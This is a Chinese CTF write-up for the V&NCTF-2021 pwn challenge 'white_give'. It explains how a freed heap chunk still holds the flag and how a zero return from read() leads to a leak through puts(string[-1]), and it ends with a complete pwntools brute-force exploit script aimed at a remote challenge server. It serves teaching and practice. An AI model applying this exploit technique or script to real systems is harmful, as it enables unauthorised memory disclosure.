white_give V&NCTF-2021

发布于 2021-03-19  64 次阅读


PWN

white_give(复现):

检查保护 结果保护全开

image-20210316153635318

才学堆 还不太熟 结果眼瞎看不到漏洞

image-20210316152915133
image-20210316152934295

点进去内容 malloc s 随机大小若干次 次数也是随机的

打开flag 文件 然后将flag 读入 s+0x10 地址上, 最后一次free(s) 但是没把s 的内容清除

只是改变了chunk 的fd 和 bk 指针

所以可以flag 还存在s的chunk 里

这里gdb 演示一下
image-20210316153338162

这里本地自定义一个flag 写入 'a*8'

gdb一下看看 断点 b * read

然后不停输入 n

再下个断点在free 函数前 这里 虽然开了pie 但是地址最后三位是固定的

所以找到free 前一个地址的最后三位(IDA里找) 然后在主函数里面可以看见最后三位前面的地址

下个断点

然后直接输入 c 跳过去

image-20210316153459319
image-20210316153852789

parseheap(这个命令是pwngdb里的)

查看堆

x/16gx address
image-20210316200311506

这里看见 aaaaaaaa确实在堆上

从0x555555757000 开始前十个0x10 为 chunk的属性

后0x555555757010-0x555555757020 为空 因为flag 是从s address +0x10 开始储存的

所以a 是从0x555555757020 开始

继续输入 n 看free后chunk 上的内容会不会被清除

free 后 chunk 被放在 top chunk 里

image-20210316200023128
image-20210316200156209

结果chunk内容并不会被清除 所以我们可以想办法把flag 弄出来

回到程序本身 在看看主函数里面的 读入部分

image-20210316155002074

这里的v1 为 read 的返回值 而不是我们输入的 第几个选项

v3 = v1 根据read的返回值v3-1来打印字符串

image-20210316155109859
image-20210316155202642

string 上⽅是堆指针,string[-1] 就是 chunk[3] 我们可以使read 返回值为0

则可以通过puts(string[-1])泄露 就能打印出flag

随机申请s 的size 是有范围的 是s=[0x300,0x500]

image-20210316155501654

add 到 chunk[3] 时申请⼀个在范围内的size,如果恰好是带有 flag 的 chunk size

(这里要暴力一下才能弄出对应的size)

就可以通过puts(string[-1])打印出 flag

这里有个细节 要edit 填充0x10 十个字符进去

若没有填充 那s-s+0x10 这个区域的内容都是0x00 puts 会被截断打印不出flag

pwntools 可以使⽤ shutdown_raw('send') 关闭管道的 send ⽅向,使远程 read() 读到 EOF,返 回 0

exp:

#coding = utf8
from pwn import  *
from LibcSearcher import LibcSearcher
context.log_level = 'DEBUG'
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#binary = './white_give'
#context.binary = binary
#elf = ELF(binary,checksec=False)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
def dbg():
    gdb.attach(p)
    pause()

def menu(choice):
    ru('choice:')
    sl(choice)
def add(size):
    menu('')
    ru('size:\n')
    sl(str(size))
def edit(index,content):
    menu('111')
    ru('index:\n')
    sl(str(index))
    ru('Content:\n')
    s(content)
while True:
    p=remote('node4.buuoj.cn',39123)
    #p=process(binary)
    add(0x10)
    add(0x10)
    add(0x10)
    add(0x310)
    edit(3,'A'*0x10)
    ru('choice:')
    p.shutdown_raw('send')
    flag=p.recvline()
    log.info(flag)
    if 'vnctf{' in flag or '}' in flag:
        print(flag)
        exit(0)
    p.close()
    sleep(1)
image-20210317002528335

细节2 : p =remote()要写在循环里才能不断爆破


山鸟和鱼不同路,从此山水不相逢